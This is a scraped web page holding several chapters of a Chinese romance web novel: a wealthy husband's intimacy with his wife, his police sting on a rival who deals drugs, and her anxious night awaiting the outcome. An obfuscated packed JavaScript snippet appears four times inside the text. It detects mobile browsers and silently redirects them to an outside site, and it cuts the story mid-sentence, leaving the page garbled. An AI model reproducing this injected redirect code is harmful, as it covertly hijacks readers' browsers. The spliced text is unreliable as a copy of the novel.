;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092943|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你吗!我配不上,难道她就配得上吗!” 裴聿珩无可奈何地笑:“你听她做梦,我并没有觉得她很漂亮,至于后者……你要是还配不上,那我恐怕就要孤独终老了。” 温今遥虚荣心大满足:“好,到你了,我刚刚问你什么问题,你学一遍问给我听。” 裴聿珩:“……” 旧事重提,他早该想到以温今遥的鬼精,还有后招在等着他。 但他轻轻搓了搓手指,还是决定放下自己固守将近三十年的规则,为她勉力试一次。 裴聿珩面对着她坐好,低低轻咳一声,看着温今遥的眼睛,认认真真问:“那个余承轩,他好像很喜欢你。上次在威禾开会,我看到你握了他的手。”他喉头无声咽动,很艰难似地:“你……也对他有好感吗?他的身材,你也很喜欢吗?比……比我还对你的胃口吗?” “不得了了裴总,您这都不是举一反三了,您这简直是闻一知十啊!”温今遥笑倒在他怀里:“小余嘛,他还没长大,还是个不能独当一面的弟弟呢。男人的话……他确实还差一些。” 裴聿珩执拗道:“差很多。” 温今遥:“哈哈哈哈,对,差很多。” 她抬手摸摸裴聿珩起了短短胡茬的下巴:“现在感觉怎么样呢?” 裴聿珩握住她的手指,放到嘴边轻轻一吻:“很舒爽。”顿了顿又道:“但也很可耻。” 他撇开眼睛:“我怎么能对别人品头论足。” “那又怎么样?” “……会担心你看低我。” “我倒觉得很好。”温今遥把自己整个团进裴聿珩的怀里:“这样才像个活人,我才不要跟一个人形模具在一起。” 她抬眸望他,微微抿着唇,琥珀色光晕轻纱似地扑在她腮边,柔缓的下颌线条连着纤长脖颈,一直流入白皙荡漾的领口。 让人难以自抑地想起刚刚雪白甜蜜的杏仁豆腐。 裴聿珩手掌隔着薄薄衣料覆上她的侧腰,温柔眸光中有翻涌的海:“那现在,我想做一些只有活人才会做的事情。” 温今遥一愣:“那是什么事?” 腰际的温热触感渐渐收紧,代替言语回答了她的话。温今遥耳垂一红:“在、在这里?” “怕了?”裴聿珩唇角噙着笑意,激将的把戏再明显不过:“晴天娃娃小姐在闲鱼市场买连环画的时候,可不是这么说的。” “……什么连环画那叫本子!我谢谢你!” 但套路之所以能成为套路,就是因为它好用。温今遥从他怀里挣扎出来,单手将他的肩膀按在宽阔的靠背上:“今天我整理衣帽间,发现了一些有趣的东西。” 她蜻蜓点水般在裴聿珩侧脸和颈间啄吻:“裴总这么恋旧,真是出乎我意料。” 裴聿珩瞳孔瞬间紧缩,身体僵硬地向后靠着,往日游刃有余的上位者姿态荡然无存,只能捏紧身边的扶手,肢体动弹不得,任她予取予求。 指尖加了点力道,挑破他尽心维持的伪装:“为什么跟我结婚,无风险?好拿捏?不会干涉你的自由?”她按在他嶙峋凸起的喉结上:“你真是这样想的吗?” 她倾身,啃咬他已然滴血的耳垂:“我们裴总谦谦君子,原来背着人的时候,也会想那些啊。” 46. 第 46 章 空气微凉,他身上却滚烫。 温今遥能听见裴聿珩落在她头顶、克制后仍急促的喘息,他在她身后游走的手掌微微颤抖着,远不似他之前任何一次的游刃有余。 她双手攀着他的肩头,身体毫不设防地缓缓下沉,伤敌一千自损八百,自己也吃痛地皱起眉,却还不忘去挑唆他颈间暴起的青筋。 “为什么不说话?”她目光变本加厉地挑衅,欺近了去吻他紧抿的唇角:“裴总算无遗策,怎么也会害羞吗?” 裴聿珩双手握紧了她纤韧的腰,想制止她的动作,却被她反手扣住十指:“裴聿珩,你说的喜欢,竟然是这个意思。” 裴聿珩小腹忽而一抖,咬紧牙关闭了闭眼。 他没想过瞒她,甚至不止一次明明白白将自己的心意掏给她看。 但都不及现在这样,被她亲手扒开自己掩藏起来的秘密,亲眼看到他多年来丑陋狰狞的肖想,不是她想象的温润有礼、发乎情止乎礼,而是软弱、幽暗、偏执,在她不曾看见的角落,睁着愤恨又可怜的眼睛,始终注视着她。 这远比任何攻击都令他羞耻,也远比任何挑逗都令他兴奋。 盔甲尽祛的羞愧和恐惧,竟让他近乎病态地战栗起来。 昔日蜷缩在他怀里瑟瑟发抖、求饶欲泣的人,今日以他的爱为底气,居高临下睨视他: “裴聿珩,说你爱我。” “……我爱你。” 这是一场胶着而持久的战役,热汗滚烫,喘息交缠,恨意和愧疚彼此缠绕、撕扯、遏制,将所有未能言明的阴晦潮湿一把火点燃,又在熊熊烈火中找到失落许久的自由。 “如果有所隐瞒的不只是你呢。”对峙的最后,她问。 “那也没有关系,”他被绞得声音嘶哑:“那我们就一起下地狱。” 即便是业火,能跟她相拥而入,那也算不上什么恐惧。 她俯视他,额角汗水滑落:“好啊。” 自重逢起始终悬于头顶的达摩克利斯之剑终于落下,劈碎了他天衣无缝的伪装,露出里面不堪一击的软体。 站在万丈深渊行将跌落的瞬间,裴聿珩将自己的无明业火紧紧拥进怀里,闷哼一声闭上了眼睛。 …… 北城天气愈加滴水成冰,又是一个农历年翻到了结尾。 欠债不翻年,有些事情,也终于到了秋后算账的时候。 吴桓风尘仆仆进了董办,在办公桌前垂手而立:“裴总,都安排好了。” 裴聿珩视线并未从文件上移开:“嗯。” 吴桓站在原地,在他提笔批示的沙沙声中欲言又止。 裴聿珩终于抬起头来:“还有事?” 吴桓舔了舔嘴唇,犹豫道:“裴总,不再考虑考虑?” 裴聿珩倒显得云淡风轻:“你还有更好的办法?” 吴桓哑了一瞬,垂下头:“我先出去了。” 空旷的办公室内恢复了沉寂,裴聿珩放下笔,眉眼垂敛着,最后回忆了一遍流程。 他推测贺霄一定是被贺中拿捏了七寸,停了经济来源,好让他安静一段时日,但贺霄如果肯乖乖听话,那就不是他了。 越是手里没钱,越会想出去浪,往常夜店出游的无聊日常也会变得极有吸引力。 贺霄这个人裴聿珩也有所耳闻,年轻冲动好面子,不但坏,还坏得猥劣不堪,欺男霸女仗势欺人这些词用在他身上,就没有一个是冤枉他的。 既然他如此需要钱,裴聿珩便决定,给他一个绝对无法拒绝的赚钱机会。 经调查,贺霄时常出没在各种夜店和派对中,向各种玩咖兜售新型药物,他为数不多的谨慎和奸猾全部放在了这项“事业”上,业务仅面对可靠的熟人介绍,并对交易地点有极端的苛求——只在他自己的地盘上交易,一有风吹草动所有人便立刻作鸟兽散,是以警察想抓人,也掌握不到有效证据,周旋许久还是只能任他逍遥法外。 这恰巧给了裴聿珩一个机会。 他让吴桓找来圈子里经常出没在狂欢场合的年轻人,小孩不经诈,两句话被就诈出他确实向贺霄买过药,吓得哆哆嗦嗦面无人色,就差跪地求饶了。 毕竟这些二代都靠家里才能花天酒地,这要让家长知道他在外面搞这些,腿打断都是轻的。 裴聿珩在国外也见识过不少这帮人的无度日常,拿捏这小孩的心态跟玩似的,胡萝卜加大棒,先安抚,再警告,最后甚至加了一点点胁迫,对方就痛哭流涕地保证,替裴聿珩出面买药,会尽量说服贺霄,地点由这边来定。 人要是缺钱到了一定地步,便会铤而走险,裴聿珩这次开给贺霄的价钱,数目也是精心研究过,正好满足了他的贪欲,又卡在引起他怀疑的边缘。 这样一大笔钱,贺霄不会眼睁睁看着它溜走。 鸿禧也与警方取得了联系,但要买药的二代并不知情,他也是圈里人,对两家的恩怨有所耳闻,以为这不过是裴聿珩为了敲打贺家,使出的一点小小的手段。 神仙打架,跟他有什么关系,再说,裴聿珩还给了他一笔数目不小的劳务费。 当时吴桓听到计划,盯着他久久没有出声,无他,因为裴聿珩这一回,是把整个鸿禧都押上了。 事发的那天必定有大动作,别说爆出具体事实,只要让路人看到鸿禧门口有人被便衣扭送着押进车里,大家自然会脑补出一系列的狗血大戏,而这些脑补以讹传讹,统统都会变成鸿禧的负面口碑。 更何况,这种社会治安事件,蓝底白字是少不了的,为了扩大影响,裴聿珩也一定会放出风声去,彻底把贺霄锤死,让他再翻不了身。 鸿禧在这个过程里,不可能独善其身。 吴桓都可以想象,这件事会怎样影响鸿禧的股价,又会在董事会里掀起怎样的轩然大波,几位早就不满的股东势必会用这件事大做文章,裴聿珩好不容易坐稳的掌权人高位,将再起波澜。 他望着裴聿珩水波不兴的眼睛,不知为何起了一身鸡皮疙瘩——裴总疯得他有些看不懂了。 不过如果是为了那位,那他就稍稍能理解了。 …… 交易前一晚。 CBD夜间血管脉络一般的灯光将卧室点得半明半暗,裴聿珩调整了一下姿势,把怀里的人又往里带了带,让自己的身体彻底替她遮住光,这才将下巴抵上她的发顶,准备入睡。 温今遥在他怀里也不老实,蛄蛹了一下,再蛄蛹一下,翻了个身,又深深叹了口气。 裴聿珩睁开眼:“怎么了?” 温今遥声音发闷:“热。” “热?”裴聿珩伸手握了握她的脚趾,分明一片冰凉。 他在昏昧的光线里盯了一会儿她铺在枕席上的凌乱发丝,忽然笑了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104837|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >晚上回来时他跟吴桓那边确定明天的细节,再三小心,看来还是被她听到了。 温今遥一下子翻过身来,瞪他:“笑什么!” “明天的事,我不会亲自出面,也不会陷入危险,所以你可以放心。” 温今遥蓦地坐起来:“那后果呢?” 裴聿珩愣了愣,道:“什么后果?” 会发生什么事她肯定是不知道的,具体细节她更是无从知晓,就凭她晚上听到的那只言片语,就已经如此不安了。 “我不知道你要做什么,但我就是心慌。”温今遥抱着膝盖坐在床上:“我总觉得你这个人做事情,好像完全不知道什么叫折中,不管是成立新品牌也好,骗我结婚也罢,每件事根本都不考虑后果……” 她转头去看靠在床头的裴聿珩,眼眸在暗夜的光里闪着一些晦暗的情绪:“其实我也没有那么委屈,真的,要是这件事会让你付出什么代价,那就不要去做,好吗?” 裴聿珩轻笑:“我可以把这句话理解为,你是在担心我吗?” 温今遥把脸埋在自己膝头:“没有,我就是……”嚅嗫了半天,并没有找到一个合适的说话,只好承认:“是呀,我是在担心你。” 裴聿珩起身,将她蜷缩成一团的身体揽进怀里:“如果不趁这一次打疼他们,那我时时刻刻都要担心你的安全,这不是我跟你结婚的初衷。再说,无论这件事会有什么代价,我都付得起。” 他自幼光环加身,年纪轻轻便掌舵鸿禧集团,上流圈层谁不曾羡慕,不曾钦佩。 但这些,他又何尝放在过眼里,如有必要,谈笑间,也就抛却了。 他唯一不能失去的,就只有她一个人。 裴聿珩低头亲她的发顶:“比起这个,我可以问问,你为什么担心我吗?” 温今遥:“……” 什么为什么,当然是因为喜欢你! 之前收拾衣帽间时发现他的秘密,温今遥还意气高昂的,觉得自己当下就能跟裴聿珩心意相通了,结果真听他这么问,竟然在黑暗中羞怯起来,不自觉抬手摸了摸自己的脸,不出所料已经烧起来了。 “你的家产有我一半呢,”她顾左右而言他:“你不是知道吗,我很爱钱的。” 裴聿珩根本没被她骗过:“齐律师给的那个文件袋,你拿回来后一直放在书房,根本没有打开过。爱钱的话,不应该每晚睡前都翻一遍么?” 温今遥:“……你懂什么,那些已经到手了,就没有吸引力了,还是别人口袋里的更让我眼馋。” 平日里,一旦她开始胡搅蛮缠,不管是什么事,裴聿珩总会含着笑揭过,假装被她糊弄过去,但今晚,他好像偏要听到那一句确定的答案:“买给你的衣服包包鞋子,你也很少穿,给你的副卡除了日常消费,也没见到你花多少。怕你觉得副卡用着不方便,我特意给你开了储蓄账户,银行的电话都打到我这里来了,说资金如果不用的话可以考虑投资。今遥,你是不是没怎么见过真的爱钱的人?” 温今遥赌气:“是呀,我没见过!我能想到最爱钱的方式,就是我睡在钱堆上,看着它们生小的!” 裴聿珩在深沉的夜里敛下眉眼,轻叹一声,低声笑了:“我什么时候才能听到你的答案呢。” 温今遥不闹了,往他怀里更深地蜷了蜷:“等所有事情都圆满解决,你安然回来的那一天。” 47. 第 47 章 贺霄坐在后座,盯着廉价帕萨特车窗上腾起的雾气,慢悠悠地哼起了歌。 这破车每一点都跟他八字不合,座椅梆硬,气味难闻,温度稍微一高玻璃就起雾,他三岁之后就再没坐过这种烂东西了。 不过没关系,这么低调也是为了生意,只要今天的货成功出手,他再不济也能过个好年。 都是家里那个战战兢兢的老东西,说什么最近夹紧尾巴做人,自己贱嗖嗖非要去招惹别人,惹完了又怂得不行。 还有那个要货的小崽子,要不是他每次出手阔绰,这次更是因为要举家出国旅行,要直接来票大的,贺霄根本不会把他放在眼里。 还换地方?做梦! 好在裴哥不跟他爹一般见识,小时候一起玩过的情谊还在,那小崽子非要让他去鸿禧的地盘交易,他转头就找了裴聿珩,稍微提了一句,裴聿珩立刻就懂了,还主动提出给他清空一层楼,以保万无一失。 裴哥从小就靠谱,虽然从来不跟他们胡闹,但没有一次松口跟家长出卖人的,哪次都是顶着自己天之骄子的光环,变着花找借口替他们说情,说得家长们一愣一愣的。 他还记得裴聿珩笑容平静地望着他,跟小时候带他玩的时候一模一样:“你放心,我跟你父亲的事,与你无关,有什么困难,尽管来找我。” 贺霄眯起眼睛,吐了一口烟圈,想,争来争去的有什么意思,要是我能做主,我就直接把股份都卖给裴哥得了。 反正他也不会亏待我。 晚上九点半,贺霄大摇大摆被礼宾迎进门,到了前台还没开口,服务生就道:“贺先生,裴总吩咐过,您直接上九楼就可以。” 九楼是行政套房层,私密且隔音,有什么事都可以直接在房间解决,就算要验货,弄出什么动静来,出了房门也绝对听不见。 贺霄心情又松了几分,对着女服务生吹了声轻佻的口哨:“几点下班?” 服务生笑容丝毫未变:“贺先生,我今天夜班。” 贺霄四下看了看:“你们裴总呢,我亲自跟他要人。” 服务生道:“裴总今天没有来。” 贺霄彻底放下心来。 他原本还担心裴聿珩挂羊头卖狗肉把他坑了,现在看起来,这对裴哥来说根本不是什么大事,他管都懒得管。 大堂人来人往,所有人都目不斜视,没有一个人往他这边看,贺霄信步进了行政层专用电梯,抬头看着数字一层一层往上蹦,心情也在一点一点抬头。 整个九层果然空无一人,贺霄轻快的脚步声被走廊厚厚的地毯吸纳得寂然,他找到走廊尽头的房间,刷卡开门。 那买药的小年轻果然已经规规矩矩坐在套房客厅里,听见开门声,整个人瑟缩了一下,扭头见是他,咧嘴露出一个勉强的笑:“霄哥。” 贺霄漫不经心应了,坐到他对面,双脚直接搭上茶几:“钱呢?” 这种见不得人勾当,显然不能用转账,否则不管是谁,一查一个准。 小年轻从身侧捞出一个随身包来,拉开拉链,露出里面冰山一角,几沓码得齐整的粉色纸钞规规矩矩躺在里面。 贺霄随手抽了一张验了,撩起眼皮看他:“一次买这么多,你也不怕吃死。” 小年轻赔着笑:“要去好几个月呢,见不到哥了。” 贺霄随口问:“去哪儿啊?” “我爸妈说,荷兰。” 贺霄轻嗤一声:“多大人了,还你爸妈,丢人不?” 小年轻舔了舔嘴唇:“霄哥,你看是不是……先把药给我?” “急什么?”贺霄把外套拉开,拽了一半衣襟给他看,里面塞得鼓鼓囊囊:“跑不了。” 贺霄能到今天还安安稳稳坐在这里,靠的可不是运气。 他从一进门就感觉到这个人不对劲了:两人算是有过几面之缘,这小孩虽说不是什么好东西,但平时油嘴滑舌嬉皮笑脸的,绝对不会是今天这种老鼠见了猫的样子。 他之所以没有转身就走,一是因为他不确定自己是不是误判了,二是,小年轻包里的钱,的确太诱人了。 时间拖得越长,心里的鬼越容易露出马脚,只要他不出手,不把药亲手递给他,那天王老子来了也拿他没招。 贺霄双手抱着胸,在明亮灯光下微眯着眼,眼看着那小年轻额头渐渐渗出细密汗珠,刚刚正常的手也开始无节律地抖起来。 贺霄嚯地站起来破口大骂:“你他妈敢耍我!你跟裴聿珩在玩什么……” 话音未落,他忽然在沙发的缝隙里看到一张眼熟的包装纸。他一把扯出那张纸,发现正是他手里那种药的包装。 贺霄:“……” 怪不得这个反应,这小孩根本不是在紧张,他是嗑嗨了。 贺霄气急败坏反手给了他一耳光:“没出息的东西,就出来这么一会儿你就忍不住了?要发疯不他妈回家疯?!” 小年轻涣散的目光被这一巴掌短暂地聚焦:“这不、不是隔音好吗,在家的话我爸妈……” 贺霄实在懒得再跟他废话,把兜里的药往他怀里一塞,冲他伸手:“钱拿来!” “哦,哦……”小年轻唯唯诺诺回头在沙发上摸索:“我包呢……” 贺霄一把撇开他,自己从沙发背后捞了装满钱的包,嘴里骂骂咧咧地准备离开。 忽然,客房里通明的灯火应声而灭。 贺霄头皮一阵发麻,危险的预感几乎瞬间淹没了他。他三两步奔到房间门口,却绝望地发现,房门也同样断电,打不开了。 眼睛还没适应黑暗,他无暇理会那小年轻,径直将耳朵附在房门上,可门外一片静谧,什么声音都没有。 走廊也同样一片漆黑,厚重地毯遮掩了警察精准而迅速的动作,几乎是在他附耳上去的同一时间,门外响起了门锁被打开的提示音—— 贺霄理智瞬间爆炸,本能地往窗户的方向跑,逃到窗边向下望,底下的行人和车辆都跟微缩玩具似的,离他有十万八千里。 他这才想起来,这里是九楼。 裴聿珩早就断掉了他所有退路。 下一秒,刚刚被他搭过脚的茶几向着他的脸横拍而来,侧脸陡然被印在冰冷僵硬的大理石表面,而他双手被反剪在身后,后劲被人死死按住,动弹不得。 贺霄再蠢也明白了这是怎么回事,于是他声嘶力竭大吼:“裴聿珩!你不得好死!” …… 半小时后,一段小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114714|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视频和几张角度精确的照片像阴暗角落生出的霉斑,悄悄在各大微信群蔓延。 那处鸿禧正是北城地标,不用细看就能认出来,加上有裴聿珩的默许,很快真相就顺着网线散布到了各个角落,当然不可避免地,也夹杂着对鸿禧的质疑: “我靠这是不是有点恐怖了我说,我要是住隔壁现在心态已经崩了好吗……” “谁说不是,你没见带走的是两个人,据说另一个上了警车都还在发疯,这要是住隔壁,搞不好会被他砍死。” “不敢住不敢住,几条命啊敢住鸿禧?” 看得温今遥心惊胆寒。 她心绪不宁地等了一天,以为不过是被大家嘲笑的“浇死对方发财树”或者是“抢公章”这种商战,最严重,可能也只是个舆论战,没想到,裴聿珩瞄准的根本不是金融版,而是法制版。 这不是玉石俱焚吗? 还说没有危险,对裴聿珩来说,危险恐怕才刚刚开始。 果不其然,她还没拨通裴聿珩的电话,就先接到了李玉的微信。 李玉:怎么回事? 李玉:这么大的事,裴总打算怎么办? 李玉:他这样玩,这个合作我们恐怕也进行不下去了。我们打算跟鸿禧解约。 温今遥红着眼圈给李玉打电话:“李总监,别啊,这件事是有原因的……我敢保证,他过后会给你们一个满意的答复,能不能先不要下决定?” 她声音带着哭腔,那边李玉一听就没脾气了,软下声音道:“给不给我们满意的答复都是后话,关键是他给了你满意的答复吗?” 温今遥默了默,道:“我不需要他给我满意的答复,这件事也算由我而起,是对方动手在先,他只是在替我扫清障碍。” 李玉不耐地叹气:“如果他没有后招呢?如果鸿禧这次没办法翻盘,所有合作方都会选择切割。到时候,你有把握他不会迁怒你、为难你吗?” “不会。”温今遥斩钉截铁:“我认识他这么多年,要是连这点都看不清他,那真是枉费他的真心了。” “生意场上拼杀惯了的人,能有什么真心……”李玉捏了捏眼角:“反正,如果需要,你随时来我这里住,听见没有?” 温今遥扭头望着浓墨夜空中不知何时堆叠起的层云,黯然道:“好。” 挂了电话,她发现裴聿珩给她发了条语音。 温今遥点开,那边人声嘈杂,可他的声音听起来依然笃定温柔:“我这边没事,但今晚事杂,估计回不去了,你自己早些睡。如果害怕的话,就叫姜姨过来陪你住。不用担心,晚安。” 她把这条语音来来回回地听了好几遍,心脏一抽一抽地疼,又想起前一天晚上,他把自己拢在怀中,陪着她胡搅蛮缠,极尽耐心,只想听她一句确定的心意。 温今遥忽然后悔了,她现在就想见到他,陪着他面对那些责难和质问,再一字一句地告诉他,她是如何从少女时代就不自知地爱着他,想跟他今后再也不分离。 她想直接发微信过去告诉他,可反反复复,删删减减,总觉得词不达意,消息没发出去,却又收到裴聿珩一条新消息。 裴聿珩:等我回去,你的答案,我想你亲口说给我听。 48. 第 48 章 裴聿珩叮嘱过,不要看手机,什么也不要信,于是温今遥的这一晚上,变得格外的长。 CBD辉煌得永不落幕的夜,如何也落不尽她惶惑的心里。温今遥坐在落地窗前,怀里抱着自己的枕头,想,如果我要是不跟他结婚呢。 如果这桩荒唐的婚姻从一开始就没有发生,是不是他就会过得容易一些? 从头到尾,她的出现对他来说,好像都没有带来什么好事——刚认识时自己亲爹就绑架了他,以此开始了他们长达近二十年的纠缠;因为喜欢上她,他几乎是身无长物地被家里扫地出门;再见面,是因为她丢了新品牌的方案;到今天,这骑虎难下的局面,也还是因为她。 温今遥这个人,好似是为裴聿珩量身定制的厄运。 她不得不去想,是不是对他越好,感情越深,他就越会深陷于此,越是无法自拔,每每遇到跟她有关的事,他都会做得比上一次更出格,直到最后万劫不复。 既然是这样…… 那个残忍的念头呼之欲出,门铃声却在此时恰到好处地打断了她的思绪。 温今遥如临大敌,没穿拖鞋,把脚步放得尽量轻,在自己家里近乎蹑手蹑脚地跑到门口。 她靠在门边,深吸一口气,做好了从猫眼里看到任何人的心理准备。 不管是她爸,还是秦杨,又或者是什么裴聿珩的对头派来针对她的陌生人,她都有把握不露出行迹。 但她在猫眼中,看到了一直以来给他们做饭打扫的姜姨。 姜姨五十多岁,长得慈眉善目的,每一条皱纹里都藏着对小辈的温厚笑意,送来的饭里总有些小巧思:切成星星的胡萝卜啦,捏成小猪的饭团啦,摆成爱心的玉米粒啦,总之看上去就让人心情大好。 温今遥也跟她提过,不用这么麻烦,摆盘的时间她可以休息,自己也不是小孩了用不着这种心思。可姜姨每次都笑答:“没关系,家里小外孙也要吃的,不花什么时间,你们上班都辛苦了。” 后来温今遥才知道,姜姨最初是物业的烧饭阿姨,跟裴聿珩本来没什么交集,然而她在北城打拼的女儿突发疾病,急需用钱,在小区门口苦苦恳求经理预支工资给女儿看病时,被裴聿珩撞了个正着。 那时候裴聿珩刚搬来,家里刚好缺个阿姨,就给姜姨女儿付了医药费,并答应她从工资里每个月扣一点。姜姨的女儿因为这些钱捡回一条命,并很快恢复健康,然后似乎是疲于应付大城市的一切,带着小外孙,一起回老家了。 所以姜姨家里根本没有一个也要吃花里胡哨儿童餐的小孩子,那些用心的装饰,都是为他们做的。 温今遥赶紧打开门,原本尚算平静的心在她开了门、对上姜姨慈爱笑容的那一刻陡然起了波澜,她嘴一扁:“姜姨……” 姜姨都来不及进门,赶紧把她抱在怀里:“我们温小姐……委屈了哦?” 姜姨身上有一种特别的气味,温今遥形容不出来,却在每次闻到的时候都感觉无比幸福安全。 她猜,可能那就是大家平时说的“妈妈的味道”。 但她恪守自己的身份,怕给裴聿珩带来什么麻烦,所以不曾跟姜姨有过这样亲近的举动,更没有如此坚实地被她身上的味道包围过。 巨大阴影被几下温柔的拍拍轻而易举消解,温今遥抹掉泪:“快进来,你怎么来啦?” 姜姨把带来的水果放进厨房:“裴总说你一个人在家,要害怕的,让我有空过来陪陪你呀。” 温今遥红着眼眶:“都这么晚了……” “算不上晚,”姜姨的声音掩在哗哗的水声后面:“以前我女儿在这边,加班到这个点都是常事,我也是这样给她洗水果做夜宵的。” 她一点一点把软桃的皮剥掉,切成小块,又把葡萄一粒一粒切开,挖掉里面的籽:“不高兴的时候,要吃点甜的东西。你们小姑娘嘛爱漂亮,这么晚了蛋糕肯定是不肯吃的啦,那就吃点水果,吃了好睡觉。” 温今遥倚在门框边,看着她细致轻柔的动作,好似一个刚刚放学回家,眼巴巴等妈妈端水果上桌的孩子。 软桃入口即化,葡萄汁水丰沛,一颗一颗爆在舌尖,甘甜的味道渐渐抚平了不安的心绪。温今遥一边吃水果,眼睛一边不住地瞟着手机,可它像是全然没有信号,一声也不吭。 姜姨坐在她对面:“在担心裴总呀?” “他都……跟你说了?” 姜姨摇头:“没有说具体的,只是讲他那边出了点事情,你可能要担心,怕你睡不好。” 温今遥原本忘却了的念头又被勾起:“这种时候了,他怎么还分神惦记我……” “裴总一直惦记你的呀,”姜姨笑眯眯的:“三餐也是你搬来之后才开始让我做,原本我只是打扫家里,都不用做饭的。” 温今遥蓦地抬头:“那之前,他都不吃饭吗?” 姜姨咯咯笑着:“不吃饭不可能吧,听小吴说,他就是中午吃一点三明治,沙拉什么的垫一垫。哦哟那么高大的男孩子,那怎么够的呀,我提了好几次要给他做饭,他都没让,说是没有时间吃那么多东西。” 温今遥慢慢低下头,明净的琉璃碗倒映出她怔愣的脸。 她好像从来没想过,裴聿珩一个人的时候,都是怎么过日子的。 从前他高高在上,被家里照顾得很好,她就自然觉得,他会一直这样好下去,锦衣玉食、金尊玉贵,即使后来听说他在国外也有一段艰难的日子,却始终没有实感。 那样的人,就算艰难,又能难到哪里去?能有她这种交不出房租的小人物艰难吗? 可今天听姜姨这样一说,除了“自虐”,她竟想不出任何可以形容的词来。 后知后觉,温今遥想起很多她原来不曾留心的细节:有时候半夜迷迷糊糊醒来,会看到他坐在床头发呆,也有极偶尔的几次,撞见他正仰头吞咽什么,问他他只说是维生素,她便不再去问。 还有那时候她腰脱时跟他在医院偶遇,他也说只是体检而已,可后来她分明在家见过那家医院开的药,本来想查查是什么,工作一忙起来却很快抛诸脑后,连问都没来得及问上一句。 归根结底,她始终觉得他们是不同的,裴聿珩即使有什么难题,有的是人排着队替他解决,绝不会像她一样,一个人蝇营狗苟,整天为了一口嚼谷忙得焦头烂额。 现在看来,她全然误解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128663|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 裴聿珩有泼天的富贵,也确实有常人不能企及的资源,但他的世界,大门紧闭,谁都不许进,与她重逢后,他却对她毫不设防地敞开了大门。 而这些,她身在其中,却浑然不觉,甚至还怪他满身泥泞,递上的宝石不够干净纯粹。 这个顿悟像一片又小又软的乌云,慢悠悠地飘进温今遥的眼睛里,在里面下起一场迟来的倾盆大雨。 “呀,怎么还哭起来了!”姜姨忙去找纸巾给她擦眼泪:“不哭了哦,乖乖,不哭了。” 温今遥哇地一声,哭得更大声了。 姜姨虽然不知道发生了什么,但显然应对经验充足。她走到温今遥身边,把她抱进怀里,一下一下摸她的头发:“过日子嘛,都是这样的呀,不管遇到什么,两个人站在一起,一咬牙也就过去了。” 她轻轻地长叹了一声,不知道是不是想起了自己那些为了女儿的医药费奔走求告的日子:“哪有过不去的难题哦。” 温今遥任性地将眼泪蹭了她一身:“真的吗,什么都会过去的,对吗?” “当然呀,”姜姨笑着,布满茧子的手摸摸她的脸:“老天总要给人留一条路走的呀,再说裴总好人有好报,路也会比别人的宽。” …… 这天晚上,睡在姜姨身边,温今遥做了一个时光倒流的梦。 她梦到了自己发现裴聿珩被绑架的那天晚上,夜露浓重,蝉声嘶鸣,她轻手轻脚揭开后备箱,又看见了年幼的裴聿珩那张苍白稚嫩的脸。 屋里如约响起了父亲叫喊的声音,她却没有像原来那样慌不择路地逃走,而是蹲下身,一直轻唤裴聿珩的名字。 这一次,在她的梦里,裴聿珩终于睁开了眼睛。 “你跟我走吧,”温今遥听见自己微小颤抖,但笃定的声音:“大人也没什么了不起的,以后我来保护你。” “聿珩哥哥,我们逃跑吧。” 梦里的裴聿珩用一双清澈懵懂的眼眸盯了她半晌,竟露出了成年后裴聿珩看向她的那种一贯温柔的笑意。 他轻轻把小手放在她手心,时空猛然对折交叠,中间十多年的时光路径骤然失去意义,稚嫩的声音与低厚温醇的男声同时震响在她耳边:“好,我相信你。” 梦里的雨在这一刻滂沱而落,那扇一直传出父亲怒吼声音的房门被一道雪亮闪电劈开,她看见父亲手里拿着一柄巨大的斧头,咧嘴看向他们,嘶哑的声音甚至比惊雷还要响:“女儿,你要跑到哪里去?” 温今遥忽然惊醒。 她一头冷汗,盯着天花板好几秒,才慢慢找回了僵硬的神智,半晌,才想起来,这是在她家里。 身边的姜姨熟睡着,呼吸又轻又稳。属于这个世界的一点温度很快攀上温今遥的身体,她往姜姨身边靠了靠,姜姨似有所感,在睡梦中也伸出手臂,把她圈进了怀里。 温今遥安心地闭上眼睛,正准备入睡,床头柜的手机忽然响了。 